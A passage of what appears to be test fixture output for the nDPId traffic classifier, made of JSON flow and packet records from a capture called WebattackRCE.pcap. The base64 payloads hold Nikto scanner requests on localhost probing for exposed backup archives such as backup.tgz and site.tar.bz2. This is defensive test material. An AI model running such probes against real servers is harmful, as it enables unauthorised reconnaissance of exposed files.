{"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":339,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":339,"flow_packet_id":1,"flow_first_seen":1576420277215,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50222,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":339,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":215085,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCrDVAAEAGj\/5\/AAABfwAAAcQuH5DnZJSlMCY5doAYAED+tgAAAQEICp1m\/QedZv0GR0VUIC9iYWNrdXAuYWx6IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":339,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":339,"flow_packet_id":1,"flow_first_seen":1576420277215,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50222,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":340,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":340,"flow_packet_id":1,"flow_first_seen":1576420277216,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50224,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":340,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":216307,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC6alAAEAGUop\/AAABfwAAAcQwH5AB5dFAi0ifwYAYAED+tgAAAQEICp1m\/QidZv0IR0VUIC9iYWNrdXAuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":340,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":340,"flow_packet_id":1,"flow_first_seen":1576420277216,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50224,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":341,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":341,"flow_packet_id":1,"flow_first_seen":1576420277217,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50226,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":341,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":217546,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHXwtAAEAG3SN\/AAABfwAAAcQyH5CeyGeSqwnqXYAYAED+uwAAAQEICp1m\/QmdZv0JR0VUIC8xMjcwMDEudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":341,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":341,"flow_packet_id":1,"flow_first_seen":1576420277217,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50226,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":342,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":342,"flow_packet_id":1,"flow_first_seen":1576420277218,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50228,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":342,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":218782,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHKPlAAEAGEzZ\/AAABfwAAAcQ0H5BMBRBwjCFtgIAYAED+uwAAAQEICp1m\/QqdZv0KR0VUIC8xMjcwMDEudGFyLmx6bWEgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":342,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":342,"flow_packet_id":1,"flow_first_seen":1576420277218,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50228,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":343,"flow_packet_id":1,"flow_first_seen":1576420277219,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50230,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":343,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":219997,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADE4jtAAEAGWfZ\/AAABfwAAAcQ2H5DSrNqhX1PVN4AYAED+uAAAAQEICp1m\/QudZv0LR0VUIC9zaXRlLnRhci5iejIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":343,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":343,"flow_packet_id":1,"flow_first_seen":1576420277219,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50230,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":344,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":344,"flow_packet_id":1,"flow_first_seen":1576420277221,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50232,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":344,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":221235,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEaVlAAEAG0th\/AAABfwAAAcQ4H5ChqlHP+pxqwIAYAED+uAAAAQEICp1m\/Q2dZv0NR0VUIC9zaXRlLnRhci5iejIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":344,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":344,"flow_packet_id":1,"flow_first_seen":1576420277221,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50232,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":345,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":345,"flow_packet_id":1,"flow_first_seen":1576420277222,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50234,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":345,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":222517,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCu\/NAAEAGgEB\/AAABfwAAAcQ6H5D46YNpMAqH8IAYAED+tgAAAQEICp1m\/Q6dZv0OR0VUIC9iYWNrdXAudGd6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":345,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":345,"flow_packet_id":1,"flow_first_seen":1576420277222,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50234,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":346,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":346,"flow_packet_id":1,"flow_first_seen":1576420277224,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50236,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":346,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":224141,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCyzFAAEAGcQJ\/AAABfwAAAcQ8H5A0R\/O25IFzRIAYAED+tgAAAQEICp1m\/RCdZv0PR0VUIC9iYWNrdXAudGd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":346,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":346,"flow_packet_id":1,"flow_first_seen":1576420277224,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50236,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":347,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":347,"flow_packet_id":1,"flow_first_seen":1576420277225,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50238,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":347,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":225870,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC90OxAAEAGa0x\/AAABfwAAAcQ+H5C1k+hxPtlM+IAYAED+sQAAAQEICp1m\/RGdZv0RR0VUIC8wLmFseiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":347,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":347,"flow_packet_id":1,"flow_first_seen":1576420277225,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50238,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":348,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":348,"flow_packet_id":1,"flow_first_seen":1576420277228,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50240,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":348,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":228559,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9wfFAAEAGekd\/AAABfwAAAcRAH5ChSfl1EHb5\/IAYAED+sQAAAQEICp1m\/RSdZv0UR0VUIC8wLmFseiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":348,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":348,"flow_packet_id":1,"flow_first_seen":1576420277228,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50240,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":349,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":349,"flow_packet_id":1,"flow_first_seen":1576420277229,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50242,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":349,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":229915,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB75lAAEAGTJt\/AAABfwAAAcRCH5BYYNcNJ8u6iIAYAED+tQAAAQEICp1m\/RWdZv0VR0VUIC8xMjcwMC5hbHogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":349,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":349,"flow_packet_id":1,"flow_first_seen":1576420277229,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50242,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":350,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":350,"flow_packet_id":1,"flow_first_seen":1576420277231,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50244,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":350,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":231112,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB77xAAEAGTHh\/AAABfwAAAcREH5CTV9cik40gf4AYAED+tQAAAQEICp1m\/RedZv0WR0VUIC8xMjcwMC5hbHogSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":350,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":350,"flow_packet_id":1,"flow_first_seen":1576420277231,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50244,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":351,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":351,"flow_packet_id":1,"flow_first_seen":1576420277232,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50246,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":351,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":232415,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB9\/xAAEAGRDh\/AAABfwAAAcRGH5CWhs9n6ph7xIAYAED+tQAAAQEICp1m\/RidZv0YR0VUIC8xMjcuMC50YXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} 